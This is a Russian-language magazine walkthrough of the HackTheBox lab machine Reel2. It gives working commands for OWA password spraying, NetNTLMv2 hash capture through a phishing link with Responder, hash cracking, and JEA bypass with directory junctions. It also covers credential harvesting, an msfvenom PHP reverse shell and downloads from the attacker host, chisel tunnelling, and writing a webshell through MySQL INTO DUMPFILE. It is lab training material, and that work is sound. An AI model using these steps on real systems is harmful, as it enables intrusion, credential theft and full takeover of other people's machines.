Хакер - HTB Reel2. Захватываем машину через Outlook и разбираемся с технологией Just Enough Administration

Хакер - HTB Reel2. Захватываем машину через Outlook и разбираемся с технологией Just Enough Administration

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Перебор каталогов
  • OSINT
  • Точка входа
  • Брутфорс OWA
  • Похищение хеша NetNTLMv2
  • Продвижение
  • WS-Management
  • Just Enough Administration (JEA)
  • Credentials dumping
  • Повышение привилегий
  • Credentials dumping
  • Обратный шелл на PHP
  • Порт-форвардинг
  • Шелл через БД

В этой статье я покажу, как прой­ти машину Reel2 с пло­щад­ки HackTheBox, и на ее при­мере мы поз­накомим­ся с век­торами ата­ки на Outlook Web App, научим­ся генери­ровать спи­сок паролей из инфы о поль­зовате­лях, порабо­таем с WS-Management и поищем уяз­вимос­ти в нас­трой­ках Just Enough Administration (JEA). Заод­но я покажу, как собирать учет­ные дан­ные на хос­те, перенап­равлять тра­фик при­ложе­ния и делать шелл с помощью базы дан­ных.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

Ма­шина Reel2 име­ет IP-адрес 10.10.10.210 — я добав­лю его в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни.

10.10.10.210 reel2.htb

Лю­бая ата­ка начина­ется со ска­ниро­вания откры­тых на хос­те пор­тов. Это необ­ходимо для того, что­бы узнать, какие служ­бы при­нима­ют соеди­нение. Исхо­дя из получен­ной информа­ции, мы будем выбирать путь для получе­ния точ­ки вхо­да и опо­ры. Я это делаю с помощью сле­дующе­го скрип­та, который исполь­зует ути­литу Nmap и при­нима­ет один аргу­мент — адрес ска­ниру­емо­го хос­та. Сна­чала он выпол­няет быс­трое ска­ниро­вание пор­тов, затем ска­ниру­ет най­ден­ные пор­ты с исполь­зовани­ем име­ющих­ся скрип­тов.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

В резуль­тате ска­ниро­вания име­ем сле­дующий спи­сок откры­тых пор­тов:

  • порт 80 — веб‑сер­вер Microsoft IIS 8.5;
  • порт 443 — обыч­но еще один порт веб‑сер­вера, но с исполь­зовани­ем SSL;
  • порт 5985 — этот порт отве­чает за служ­бу уда­лен­ного управле­ния WinRM;
  • пор­ты 6001...6021 — не инте­ресу­ют;
  • порт 8080 — веб‑сер­вер Apache.

Ес­тес­твен­но, начина­ем с веб‑сер­вера. Так, при обра­щении к кор­невому катало­гу веб‑сер­вера нас встре­чает стар­товая стра­ница IIS.

Стар­товая стра­ница Microsoft IIS

Перебор каталогов

У IIS есть нес­коль­ко дефол­тных катало­гов (к при­меру, /owa — Microsoft Outlook), но все рав­но сто­ит прос­каниро­вать дос­тупные катало­ги. Для это­го мож­но исполь­зовать широко извес­тные прог­раммы dirsearch и DIRB, но я обыч­но исполь­зую более быс­трый gobuster. При запус­ке исполь­зуем сле­дующие парамет­ры:

  • dir — ска­ниро­вание дирек­торий и фай­лов;
  • -k — не про­верять SSL-сер­тификат;
  • -t [] — количес­тво потоков;
  • -u [] — URL-адрес для ска­ниро­вания;
  • -x [] — инте­ресу­ющие рас­ширения фай­лов, перечис­ленные через запятую;
  • -w [] — сло­варь для перебо­ра;
  • —timeout [] — вре­мя ожи­дания отве­та.

gobuster dir -t 128 -u https://reel2.htb/ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,aspx --timeout 30s

Об­наружен­ные под­катало­ги и фай­лы на https://reel2.htb

В резуль­тате находим каталог owa.

Па­нель авто­риза­ции Outlook Web App

На IIS мы наш­ли все что мог­ли, а так как поль­зователь­ских веб‑при­ложе­ний не обна­руже­но, то перехо­дим на веб‑сер­вер Apache.

OSINT

Порт 8080 вызыва­ет боль­ший инте­рес, так как на этом сай­те мы можем зарегис­три­ровать­ся, а это даст дос­туп к допол­нитель­ным фун­кци­ям.

Па­нель авто­риза­ции Wallstant

Да­же если сайт не име­ет никаких уяз­вимос­тей, он может содер­жать полез­ную информа­цию. Нап­ример, име­на поль­зовате­лей, исполь­зуемые тех­нологии, кос­венную информа­цию для сос­тавле­ния спис­ка паролей. Поэто­му сра­зу пос­ле регис­тра­ции и авто­риза­ции оста­нав­лива­емся на поль­зовате­лях.

До­маш­няя стра­ница авто­ризо­ван­ного поль­зовате­ля

Най­ти век­тор для даль­нейшей ата­ки было тяжело, поэто­му я решил переб­рать учет­ные дан­ные Outlook. Для сос­тавле­ния спис­ка паролей исполь­зуем всю кос­венную информа­цию. У поль­зовате­ля sven дан­ных боль­ше, чем у дру­гих.

Про­филь поль­зовате­ля sven

Соз­дадим для него спи­сок воз­можных логинов. Ком­бинируя все воз­можные сочета­ния име­ни Sven Svensson, мы можем соз­дать сле­дующий спи­сок.

Спи­сок имен учет­ных записей

Для соз­дания паролей я поп­робовал ути­литу bopscrk. Суть прог­рамм такого рода в том, что мы скар­мли­ваем им раз­ные сло­вари, пос­ледова­тель­нос­ти сим­волов или даже пра­вила сос­тавле­ния паролей, а они генери­руют сло­варь для бру­та. Как вид­но на скрин­шоте ниже, я ука­зал зна­чение сле­дующих парамет­ров:

  • ми­нималь­ная дли­на пароля — 6;
  • пер­вое имя — sven;
  • вто­рое имя — svensson;
  • ре­леван­тные сло­ва через запятую — this, 2020, summer, hot;
  • ис­поль­зовать leet-транс­крип­цию (ког­да, к при­меру, бук­ва е заменя­ется на циф­ру 3, g — на 9 и так далее) — отка­зыва­емся;
  • ис­поль­зовать транс­крип­цию в раз­ных регис­трах — да;
  • ко­личес­тво слов для ком­биниро­вания — 3.

В ито­ге мы получа­ем сло­варь, содер­жащий 9204 вари­анта пароля!

Ре­зуль­тат работы ути­литы bopscrk

В резуль­тате мы получи­ли два фай­ла для перебо­ра учет­ных дан­ных поль­зовате­ля — с логина­ми и с пароля­ми.

ТОЧКА ВХОДА

Брутфорс OWA

Ес­ли не зна­ешь, что исполь­зовать для бру­та, бери на замет­ку отличное средс­тво — SprayingToolkit. Этот тул­кит вклю­чает в себя нес­коль­ко модулей. Нам нужен модуль Atomizer, который исполь­зует­ся для бру­та Lync, OWA и IMAP. Запус­каем со сле­дующи­ми парамет­рами:

  • owa — для перебо­ра Outlook Web App;
  • reel2.htb — кор­невой для катало­га /owa адрес;
  • ~/tmp/bopscrk/tmp.txt — спи­сок паролей;
  • ~/tmp/user.txt — спи­сок логинов;
  • -i [H:M:S] — вре­мен­ной интервал меж­ду зап­росами;
  • -t [] — количес­тво потоков.

python3 atomizer.py owa reel2.htb ~/tmp/bopscrk/tmp.txt ~/tmp/user.txt -i 0:0:1 -t 64

Ре­зуль­тат работы ути­литы automizer

Пе­ребор занима­ет некото­рое вре­мя, но все же находим вер­ную пару учет­ных дан­ных. Automizer сох­ранит все най­ден­ные учет­ные дан­ные в файл owa_valid_accounts.txt.

Outlook Web App пос­ле успешной авто­риза­ции

Похищение хеша NetNTLMv2

Этот век­тор дол­го искать не приш­лось — пос­ле осмотра поч­тового ящи­ка был сде­лан выбор в поль­зу фишин­га. В реаль­ной жиз­ни здесь работа­ли бы раз­ные спо­собы — к при­меру, отправ­ка офис­ных докумен­тов или HTML с наг­рузкой. В лабора­тор­ных усло­виях это невоз­можно, но сущес­тву­ет эму­ляция, которая сра­бота­ет, если отпра­вить обыч­ную ссыл­ку. Рас­сыла­ем ее по всем дос­тупным адре­сам и ждем обра­щения к ресур­су. Во вре­мя его кли­ент авто­мати­чес­ки пре­дос­тавит для аутен­тифика­ции хеш пароля NetNTLMv2.

Мы смо­жем отло­вить этот хеш и при помощи брут­форса получим пароль. В качес­тве лис­тенера, эму­лиру­юще­го ресурс, исполь­зуем ути­литу Responder, которой дос­таточ­но будет передать один параметр -I — сетевой интерфейс.

sudo responder -I tun0

Те­перь выпол­няем мно­гоад­ресную рас­сылку, а в текст сооб­щения ста­вим ссыл­ку на любой файл, яко­бы находя­щий­ся на нашем ресур­се. Спус­тя нес­коль­ко секунд в окне Responder появит­ся желан­ный хеш.

Рас­сылка сооб­щения в OWA
По­лучен­ный в responder хеш NetNTLMv2 поль­зовате­ля k.svensson

Да­лее по пла­ну лома­ем хеш. Я для этих целей обыч­но исполь­зую hashcat, но эта ути­лита тре­бует ука­зать тип хеша. К счастью, мож­но све­рить­ся со справ­кой — выводим при­меры хешей, филь­тру­ем по сло­ву NetNTLMv2 и ука­зыва­ем най­ден­ный номер.

hashcat --example | grep -A 2 -B 2 NetNTLMv2

При­мер хеша NetNTLMv2, получен­ный в hashcat

Мы узна­ем режим: 5600; к тому же нам показы­вают хеш, который визу­аль­но по струк­туре похож на тот, что мы получи­ли в Responder. Приш­ло вре­мя кряк­нуть его!

Для перебо­ра будем исполь­зовать все тот же hashcat со сле­дующи­ми аргу­мен­тами:

  • -a 0 — режим перебо­ра, нулевой озна­чает по сло­варю;
  • -m [] — режим, тут ука­зыва­ем тип хеша, получен­ный ранее;
  • ksven.hash — файл, в котором записан хеш (хеши);
  • rockyou.txt — сло­варь с воз­можны­ми пароля­ми.

hashcat -a 0 -m 5600 ksven.hash ./tools/rockyou.txt

Ре­зуль­тат взло­ма хеша

ПРОДВИЖЕНИЕ

WS-Management

У нас есть учет­ные дан­ные поль­зовате­ля Outlook, а это с высокой веро­ятностью учет­ная запись поль­зовате­ля домена. В таком слу­чае оста­лось опре­делить­ся со спо­собом инте­рак­тивно­го управле­ния машиной. Пом­нишь откры­тый порт 5985? На нем по про­токо­лу WS-Management работа­ет служ­ба уда­лен­ного управле­ния. А получить инте­рак­тивную коман­дную обо­лоч­ку поможет PowerShell Enter-PSSession.

Enter-PSSession -Computer 10.10.10.210 -Credential k.svensson -Authentication Negotiate

По­луче­ние уда­лен­ной сес­сии PowerShell Enter-PSSession

Вот толь­ко выпол­нить стан­дар­тные коман­ды не выходит. Набира­ем command, что­бы пос­мотреть, что мы можем сде­лать.

Дос­тупные коман­ды PowerShell для текущей сес­сии

Но и это не проб­лема, так как мы можем исполь­зовать PowerShell ScriptBlock, а имен­но конс­трук­ции вида &{команда}. В качес­тве под­твержде­ния того, что мы зах­ватили поль­зовате­ля, получа­ем файл user.txt.

Вы­пол­нение команд с помощью PowerShell ScriptBlock

Just Enough Administration (JEA)

Нуж­но осмотреть­ся на хос­те, что­бы най­ти век­тор для прод­вижения. К при­меру, в текущей дирек­тории находим файл Windows PowerShell Session Configuration.

Лис­тинг дирек­тории Documents

Тех­нология Just Enough Administration (JEA) поз­воля­ет делеги­ровать адми­нис­тра­тив­ные пол­номочия на все, чем мож­но управлять с помощью PowerShell, и дать поль­зовате­лям пра­ва на выпол­нение опре­делен­ных адми­нис­тра­тив­ных задач, не пре­дос­тавляя им пра­ва адми­нис­тра­тора сер­вера или служ­бы. С помощью JEA мож­но ука­зать, каким поль­зовате­лям раз­решено запус­кать опре­делен­ные коман­дле­ты, фун­кции или скрип­ты PowerShell с пра­вами при­виле­гиро­ван­ных поль­зовате­лей, а так­же под­робно логиро­вать все дей­ствия (вро­де исто­рии команд).

Да­вай раз­берем­ся с jea_test_account.pssc.

Со­дер­жимое фай­ла jea_test_account.pssc
  1. Ди­рек­тива SessionType име­ет зна­чение RestrictedRemoteServer, что поз­волит исполь­зовать сле­дующие коман­дле­ты PowerShell: Clear-HostExit-PSSessionGet-CommandGet-FormatDataGet-HelpMeasure-ObjectOut-Default и Select-Object (их мы уже видели в выводе коман­ды command текуще­го поль­зовате­ля).
  2. Па­раметр TranscriptDirectory заком­менти­рован, а в нем ука­зыва­ется дирек­тория, в которую сох­раня­ются логи.
  3. Оп­ция RunAsVirtualAccount поз­воля­ет запус­кать коман­ды от име­ни вир­туаль­ного акка­унта адми­нис­тра­тора (чле­на локаль­ной груп­пы или Administrator, или Domain Admin).
  4. В дирек­тиве RoleDefinitions нуж­но ука­зать груп­пу безопас­ности AD, для которой раз­решено под­клю­чать­ся к дан­ной сес­сии PowerShell, и наз­вание роли JEA, которое дол­жно соот­ветс­тво­вать име­ни фай­ла PSRC.

Те­перь перей­дем к фай­лу PowerShell Role Capabilities, который содер­жит опи­сание роли. В нем ука­зыва­ется, что раз­решено делать в рам­ках сес­сии JEA. В нашем слу­чае там опре­деле­на фун­кция Check-File, которой нуж­но передать путь к фай­лу в качес­тве аргу­мен­та, и если он соот­ветс­тву­ет одной из масок D:\* или C:\ProgramData\*, то в резуль­тате будет воз­вра­щено содер­жимое фай­ла.

Со­дер­жимое фай­ла jea_test_account.psrc

Те­оре­тичес­ки мы можем получить любой файл из этой дирек­тории, так как коман­да выпол­нится с при­виле­гиями адми­нис­тра­тора, но необ­ходимо решить две проб­лемы:

  • путь к фай­лу соот­ветс­тву­ет одной из масок;
  • не­обхо­дима сес­сия jea_test_account.

Пер­вая проб­лема лег­ко реша­ется исполь­зовани­ем ссы­лок. Мы можем закинуть файл‑ссыл­ку в пап­ку ProgramData, а ука­зывать он будет на дирек­торию адми­на. Для решения вто­рой проб­лемы нуж­но искать информа­цию на хос­те, веро­ятно в катало­гах текуще­го поль­зовате­ля, так как фай­лы кон­фигура­ции сес­сии тес­тового поль­зовате­ля тоже рас­положе­ны у текуще­го юзе­ра.

Credentials dumping

Об­раща­ем вни­мание на ярлык Sticky Notes (при­ложе­ние для заметок) на рабочем сто­ле поль­зовате­ля. Sticky Notes хра­нит поль­зователь­ские дан­ные в дирек­тории AppData\Local\stickynotes. И в логах находим учет­ные дан­ные нуж­ного нам поль­зовате­ля.

Яр­лык Sticky Notes в дирек­тории Desktop
Со­дер­жимое дирек­тории AppData\Local\stickynotes
Учет­ные дан­ные поль­зовате­ля jea_test_account

Как и пла­ниро­вали, соз­даем ссыл­ку на дирек­торию адми­на.

New-Item -ItemType Junction -Path 'C:\ProgramData\Admin' -Target 'C:\Users\Administrator'

А теперь вер­немся в локаль­ную кон­соль и соз­дадим новую сес­сию jea_test_account.

$username = "jea_test_account"

$password = ConvertTo-SecureString "Ab!Q@vcg^%@#1" -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $password)

Enter-PSSession -Computer 10.10.10.210 -credential $creds -ConfigurationName jea_test_account -Authentication Negotiate

В новой сес­сии выпол­ним разоб­ранную ранее фун­кцию, что­бы заб­рать файл адми­на и под­твер­дить порож­дение машины.

По­луче­ние фла­га адми­нис­тра­тора

На дан­ном эта­пе про­хож­дение машины мож­но счи­тать закон­ченным. Но... Я так и не получил кон­троль над ней, поэто­му про­дол­жаем!

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Credentials dumping

Я решил поис­кать учет­ные дан­ные даль­ше. Сущес­тву­ет мес­то, где они есть всег­да, — фай­лы с нас­трой­ками для под­клю­чения к базе дан­ных. Если мы получим админ­скую учет­ку, мы запишем шелл в дирек­торию веб‑сер­вера и выпол­ним его от име­ни System. Нуж­но най­ти этот файл, а как про­читать, мы уже зна­ем. Сайт, на котором мы регис­три­рова­лись, пос­тро­ен на CMS Wallstant, которую мы на­ходим на GitHub. И в дирек­тории сonfig будет лежать файл connect.php с нуж­ными нам нас­трой­ками.

Со­дер­жимое фай­ла connect.php

Ос­тает­ся узнать путь к кор­невой дирек­тории CMS в xampp. Так как сайт рас­положен на пор­те 8080, то это будет отме­чено в кон­фигура­цион­ном фай­ле веб‑сер­вера xampp\apache\conf\httpd.conf, а в дирек­тиве DocumentRoot будет ука­зан путь к кор­невой дирек­тории сай­та. Давай лин­канем дирек­торию C:\xampp от име­ни пер­вого поль­зовате­ля.

New-Item -ItemType Junction -Path 'C:\ProgramData\xampp' -Target 'C:\xampp\

А теперь перей­дем к сес­сии тес­тового юзе­ра и прос­мотрим этот файл кон­фигура­ций.

check-file c:\programdata\xampp\apache\conf\httpd.conf

Со­дер­жимое фай­ла кон­фигура­ций httpd-vhosts.conf

Те­перь, зная кор­невую дирек­торию social, смот­рим файл connect.php. В нем обна­ружи­ваем учет­ные дан­ные, которые мы иска­ли.

Со­дер­жимое фай­ла connect.php

Обратный шелл на PHP

Те­перь сге­нери­руем PHP-шелл, который будем выпол­нять в кон­тек­сте служ­бы. В слу­чае с PHP мож­но лег­ко сге­нери­ровать шелл с помощью msfvenom со сле­дующи­ми парамет­рами:

  • -p [] — исполь­зуемая наг­рузка (конеч­но, берем Meterpreter);
  • LHOST=[] — IP-адрес локаль­ного хос­та;
  • LPORT=[] — локаль­ный порт;
  • -f [] — фор­мат, в котором будет пред­став­лена наг­рузка.

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.45 LPORT=4321 -f raw > r.php

cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

И запус­тим лис­тенер, который будет ожи­дать обратно­го под­клю­чения от наг­рузки. Для быс­тро­го запус­ка из metasploit исполь­зуем handler с парамет­рами, ука­зан­ными при соз­дании наг­рузки.

handler -p php/meterpreter_reverse_tcp -H 10.10.14.45 -P 4321

Ак­тивация модуля handler

Порт-форвардинг

Что­бы под­клю­чить­ся к базе дан­ных, луч­ше все­го пересы­лать весь тра­фик с пор­та сер­вера на порт локаль­ного хос­та (Port Forwarding), сде­лать что‑то вро­де тон­неля. Для это­го будем исполь­зовать chisel. Эту прог­рамму нуж­но будет заг­рузить на хост. Кида­ем в одну дирек­торию chisel.exe и сге­нери­рован­ный PHP-шелл, а потом запус­каем прос­тень­кий веб‑сер­вер.

python3 -m http.server

Эта коман­да откро­ет веб‑сер­вер, который будет слу­шать порт 8000. А с уда­лен­ного хос­та заг­рузим и прог­рамму, и шелл, при­чем шелл сра­зу в дирек­торию C:\ProgramData.

&{wget 10.10.14.45:8000/chisel.exe -O chisel.exe}

&{wget 10.10.14.45:8000/r.php -O C:\programdata\r.php}

Ра­ботать с chisel очень прос­то, мы запус­каем ути­литу на двух устрой­ствах сле­дующим обра­зом.

  1. При запус­ке на локаль­ном хос­те ука­зыва­ем, что явля­емся сер­вером, ука­зыва­ем порт и опцию ожи­дания под­клю­чения от кли­ента.
  2. ./chisel.bin server -p 4321 --reverse
Со­обще­ние об ожи­дании под­клю­чения на порт 5432 на сер­вер chisel
  1. На хос­те‑кли­енте ука­зыва­ем соот­ветс­тву­ющую опцию, а так­же адрес и порт сер­вера для под­клю­чения. Затем идет пос­ледова­тель­ность, которая озна­чает, что порт 3306 сер­вера будет свя­зан с пор­том 3306 локаль­ного хос­та.
  2. &{.\chisel.exe client 10.10.14.45:4321 R:3306:127.0.0.1:3306}
Со­обще­ние о под­клю­чении на кли­енте chisel
Со­обще­ние об акти­вации сес­сии на сер­вере chisel

Шелл через БД

Те­перь, исполь­зуя встро­енный кли­ент MySQL, под­клю­чим­ся к базе дан­ных. При под­клю­чении исполь­зуем сле­дующие аргу­мен­ты:

  • -h [] — хост для под­клю­чения (кон­нектим­ся к локаль­ному, так как соеди­нение будет рет­ран­сли­ровать­ся на уда­лен­ный);
  • -u [] — поль­зователь;
  • -p [] — имя базы дан­ных;
  • --password=[] — пароль;

mysql -h 127.0.0.1 -u root -p Wallstant --password=Gregswd123FAEytjty

Пос­ле под­клю­чения нуж­но записать наш шелл в дирек­торию веб‑сер­вера. Алго­ритм дей­ствий прос­той:

  1. Соз­даем таб­лицу.
  2. Соз­даем в таб­лице запись, которую счи­тыва­ем из фай­ла с шел­лом.
  3. Эту запись пишем в файл на веб‑сер­вере.

create table phpshell (line blob);

insert into phpshell values(load_file('/programdata/r.php'));

select * from Wallstant.phpshell into dumpfile '/xampp/htdocs/social/r.php';

Пос­ле раз­мещения фай­ла на сер­вере обра­тим­ся по URL http://10.10.10.210:8080/r.php. Это при­ведет к акти­вации шел­ла и получе­нию сес­сии Meterpreter. На скрин­шоте ниже вид­но сооб­щение о под­клю­чении и акти­вации сес­сии. Коман­дой sessions -i 1 мы перехо­дим к соз­данной сес­сии и с помощью getuid убеж­даем­ся, что работа­ем в кон­тек­сте System с мак­сималь­ными при­виле­гиями.

По­луче­ние сес­сии Meterpreter с мак­сималь­ными при­виле­гиями

Та­ким путем мы зах­ватыва­ем Reel2 и име­ем над ней пол­ный кон­троль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page